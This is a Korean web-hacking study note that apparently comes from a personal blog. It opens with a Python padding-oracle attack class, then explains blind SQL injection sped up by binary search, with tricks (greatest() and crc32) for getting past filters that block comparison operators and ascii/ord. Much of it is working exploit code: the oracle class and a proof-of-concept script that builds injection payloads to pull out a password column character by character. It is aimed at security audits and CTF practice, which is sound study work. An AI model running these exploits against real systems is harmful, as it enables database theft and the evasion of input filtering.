##coded by sakuya
from base64 import *
import json
import threading
import math

class oracle:
    def __str__(self):
        return self.plainText[::-1]
    def __init__(self, data,iv=None):
        if iv == None:
            self.IV = bytearray("\x00"*len(data),encoding="latin-1")
        else:
            self.IV = iv
        self.hiddenValue = bytearray("\x00"*len(data),encoding="latin-1")
        self.block = bytearray(data)
        self.block_size = len(self.block)
        self.IVMutex = threading.Lock()
        self.currentIdx = 1
        self.TestIV = bytearray("\x00"*len(data),encoding="latin-1")
        self.plainText = ""
        self.Pause = threading.Lock()
        self.Pause.acquire()

    def adjustIV(self,iv):
        self.IVMutex.acquire()
        idx = self.block_size-self.currentIdx
        self.hiddenValue[idx] = iv[idx] ^ self.currentIdx
        plain = iv[idx] ^ self.currentIdx ^ self.IV[idx]
        self.currentIdx += 1
        for i in range(idx,self.block_size):
            iv[i] = self.hiddenValue[i] ^ self.currentIdx
        self.TestIV = iv[:]
        self.IVMutex.release()
        return chr(plain)

    def exploit(self, check_func, count=10):
        MIN = 0x00
        MAX = 0x100
        RANGE = list(range(MIN,MAX))
        ThreadCount = math.ceil(MAX/count)
        for i in range(MIN,MAX,ThreadCount):
            t = threading.Thread(target=self.__exploit,args=(RANGE[i:i+ThreadCount],check_func,))
            t.start()
        self.Pause.acquire()
        self.Pause.release()

    def __exploit(self, coverage, check_func):
        TID = threading.get_ident()
        self.block_size = len(self.block)
        while(1):
            test_iv = self.TestIV[:]
            if self.currentIdx > self.block_size:
                break
            for i in coverage:
                test_iv[self.block_size-self.currentIdx] = i
                if(check_func(test_iv,self.block)):
                    print(test_iv)
                    self.plainText += self.adjustIV(test_iv)
                    break;
        try:
            self.Pause.release()
        except:
            pass

사용예시

O = oracle(cipher, iv=iv)
O.exploit(checkFunc, count = 0xff)
print(str(O))

count는 Thread 갯수임미다..

주제 : Webhacking Study - Binary search with filtering
날짜 : 2019.10.10
작성자 : Sakuya Izayoi

1. 개요 및 목적
Blind SQL Injection과 Binary Search를 사용한 효율적인 Injection방법을 알아보고, 각종 필터링을 우회할수 있는 방법에 대해 정리한다.

2. 내용
Blind SQL injection은 True/False를 기준으로 다르게 리턴되는 값을 보고 판단하여 한글자씩 (혹은 n byte씩) 값을 추출해 내는 SQL injection 기법이다.
우선 웹서비스 점검 및 CTF 상황에서 Blind SQL이 필요한 상황인지 판단하는 나만의 근거는 아래와 같다.

    - Injection을 통해 내가 원하는 문자열을 출력할수 없을때
    - Login시도와 같이 yes / no 의 상황만 알수 있을때

보통은 첫번째의 조건으로 판단하는 경우가 많다. 내가 원하는 문자를 출력할수 없다면, time based가 되었건, 기초적인 blind가 되었건 문자열을 가져오거나
출력할 다른 방법에 대해서 강구해야 한다. Blind SQL Injection과 관련해서는 예전문서 의 3. Blind SQL Injection 탭에 적어놓은것이 있으니 참고 바란다.

Blind SQL Injection은 그 특성상 원하는 정보를 가져오는데 시간이 오래걸린다. 비효율적으로 짜면 한글자당 O(n)의 시간이 걸리고, 서버의 상태 및  네트워크 상황에 따라 더 오래 걸릴수도 있다.
또한 서버에는 수많은 로그를 남기게 될것이고, 이것은 서버운영자가 반가워할 상황은 아니다. 때문에 좀더 작은 움직임으로 원하는 정보를 얻어오기 위해서 Binary Search를 활용해보자.

3. Binary Search
Bianry search는 '이진탐색' 이라는 이름으로 알려진 탐색 알고리즘중 하나이다. 간단하게 선요약하자면 술자리에서 종종하는 up and down 게임과 같은 것이다.

up and down 게임에서 '8' 이라는 값을 찾기 위해서 순서대로 1,2,3,4,5,6,7,8 이라고 물어볼수 있지만 술게임을 조금 해본자라면 '5' 를 먼저 부를것이다.
도전자가 5 라고 부른 뒤 'up' 이라는 답변을 얻는다면 1-5를 부르는 사람은 없어진다.

이제 남은건 6-10 중 하나의 값이다. 여기서 가운데값인 '8'을 불러서 단번에 정답을 맞출수 있지만, '9'을 불렀다고 가정해보자.
도전자가 9을 부른뒤 'down' 이라는 답변을 얻는다면 역시 9-10 을 부르는 사람은 없어진다.

이제 남은건 6-8 중 하나의 값이 되고, 여기서 가운데 값인 7을 부른다면 'up' 이라는 대답을 얻게되고
결과적으로 남은 값인 8이 찾는값이란걸 알게된다.

8을 찾기위해 8번 시도하는 O(N)의 방법에 비해 이 과정은 더 짧게 (O(log₂N)) 끝이난다.
일반적으로 1byte씩 가져오게 되는 blind SQL에서는 1byte의 최대값인 0xff이고 하나의 문자열을 가져오는데 8회 질의 하는것으로 끝이나게 된다.
이 과정을 개략적으로 파이썬으로 짜면 아래와 같다.

def binsearch():
	ret = ""
	for idx in range(1,target_length+1):
		TOP = 0xff # 0x80
		BOT = 0x00 # 0x20
		while(1):
			mid = math.floor((TOP+BOT)/2)
			if TOP-BOT ==1:
				ret += chr(mid)
			result = sendData(something_Query)
			if TrueCondition in result:
				BOT = mid
			else:
				TOP = mid
	return ret

크게 어렵지 않게 구현할수 있고, 이를 활용하면 좀더 빠르게 값을 얻어올수 있다.
하지만 이는 간단히 사용할수 있는 Blind SQL Injection 보다는 조건이 조금 더 필요하다. 

4. With Filtering
Blind SQL Injection으로 방향을 잡고 점검을 하다보면 터무니 없는 필터링을 발견하기도 한다.

(본 그림은 참고를 위한것이며, 실제 테스트 및 점검에 사용된 사이트가 아닙니다.)

이러한 필터링중에는 XSS를 같이 방어하는 차원에서 <. > 와 같은 대소비교 문자열을 막을때도 있다.
이외에도 주석처리를 위한 -, # 등과 같은 문자나 =과 같은 등호, 숫자로의 변환이 불가능하게 ord, ascii 등을 막은것도 종종 보인다.
이러한 상황에서 단순 Blind SQL Injection 말고 방법이 없다고 판단하고 like 문자열이나 regexp 같은 정규표현식을 통한 O(N)의 방법을
채택하는것은 일반적인 사고의 흐름이다. 그래서 조금 더 튀는 방향으로 생각해 보기로했다.

이와같은 소스를 점검한다고 하자. 200회 쿼리를 날리면 더이상 날리지 못하는 코드다.
물론 $_SESSION으로 받기때문에 해당 SESSION을 무시하고 새로운 SESSION을 생성하면 200회의 제한이 없어진다.
하지만, 그렇게 하지않고 한번에 처리할 방법을 생각해보자.

우선 Blind SQL Injection이라고 판단하게 만드는 것으로는 union과 select가 막혀있다는 것, 그리고 값의 유무에 따라 yes / no를 답변해준다.
하지만 or,bin,ascii,등과 같은것이 필터링으로 막혀있고 대소 비교를 위한 >,< 등도 막혀있다. like를 통하여 값을 획득하고 싶어도 %가 막혀있어
진행이 어려울것 같은 상황이다.

Blind SQL Injection임은 틀림없는 상황이나, 여건이 따라주지 않아 Binary Search는 조금 힘들어 보인다. 상황을 정리해보자.

정리해보니 2가지만 해결하면 binary search를 사용하여 해결할수 있을것 같은 느낌이 든다.
<,>를 대체할 물건으로 mysql에서는 greatest 함수를 제공한다

해당 함수는 문자열과 숫자사이에서도 비교가 가능하며, 들어간 인자값중 큰것을 리턴해주는 함수이다.

그렇다면 이제 ascii와 ord를 대체할 함수를 찾아보자.
ascii와 ord는 문자를 ascii값(int)으로 바꿔주는 역할을 한다. 이는 binary search에서 꽤 중요한 역할을 한다. 이를 대체할 함수로 crc32를 제안한다.
crc32는 데이터 전송에 오류가 있는지 체크하기 위한 checksum과 같은 기능을 한다. 해당 값은 0x00000000 ~ 0xFFFFFFFF 이며 hash와 같이 단방향으로 제공된다.

이 crc32를 사용하여 Binary Search를 진행 해 볼 것이다.

5. POC
기초 아이디어는 아래와 같다.

    - 0x00 ~ 0xff의 crc32를 구하고 테이블을 만든다.
    - 나온 crc32값을 sorting한다.
    - 이후 Binary Search를 진행할때는 crc32값이 아닌, 정렬된 것의 index를 참고한다.

이렇게 되면 Injection Query는 개략적으로 아래와 같이 구성된다

    if(greatest(crc32(substr(column,IDX,1)),CRC32)^CRC32,1,0)

코드로 구현하면 아래와 같다

import binascii
import math

CRC_DICT = dict()
CRC_LIST = list()

def init_crc():
	global CRC_DICT
	global CRC_LIST

	for i in range(0x00,0xff+1):
		crc_value = binascii.crc32(chr(i).encode("utf-8"))
		CRC_DICT[crc_value] = i
		CRC_LIST.append(crc_value)
	CRC_LIST.sort()

def binSearch():
	for idx in range(1,target_length):
		BOT = 0x00
		TOP = 0xff
		while(1):
			mid = math.floor((BOT+TOP)/2)
			if TOP-BOT == 1:
				data += chr(CRC_DICT[CRC_LIST[mid+1]])
				break
			payload = "if(greatest(crc32(substr(pw,{},1)),{})^{},1,0)".format(idx,CRC_LIST[mid],CRC_LIST[mid])
			result = sendPayload(payload)
			if TrueCondition in result:
				BOT = mid
			else:
				TOP = mid
	return data

init_crc()
data = binSearch()
print(data)

if(greatest(crc32(substr(column,IDX,1)),CRC32)^CRC32,1,0) 이 구성에서 xor을 사용하지 않고 =와 같은 등호를 사용해도 무방하다.
xor를 사용하게 된다면 내가 비교하고자 하는 CRC32값이 리턴되지 않으면 어떤값이든 xor 하였을 경우 True가 나온다는것만 명심하면된다.
greatest를 통해 내가 넣은 CRC32값과 뽑아낸 값의 CRC32값을 비교하여 더 큰쪽을 가져 올것이고 이것은 ">=" 와 같은 효과가 난다.
이후 xor을 통해 내가 입력한 값이 리턴된 것을 확인했다면, 서버에서는 FALSE! 라고 응답을 준것과 같다.

이를 토대로 POC를 작성하고 스크립트를 실행하면 잘 작동하는것을 볼 수 있다.

6. 결론 

Binary Search는 간단한 코드로 좋은 효율을 볼수 있는 알고리즘이다. 하지만 이를 사용하기 위해서는 몇가지 조건이 있어야 하고, 그 조건을 계속해서 찾아나갈수 있을것이라 생각한다.
CRC32이외에도 md5나 sha1과 같은것들로 사용가능할 것이라 생각한다. 
덧붙여서 webhacking.kr 9번 문제에도 적용 가능한 기술이니, 자신의 코딩능력을 체크해보고 싶은분은 풀어보길 바란다.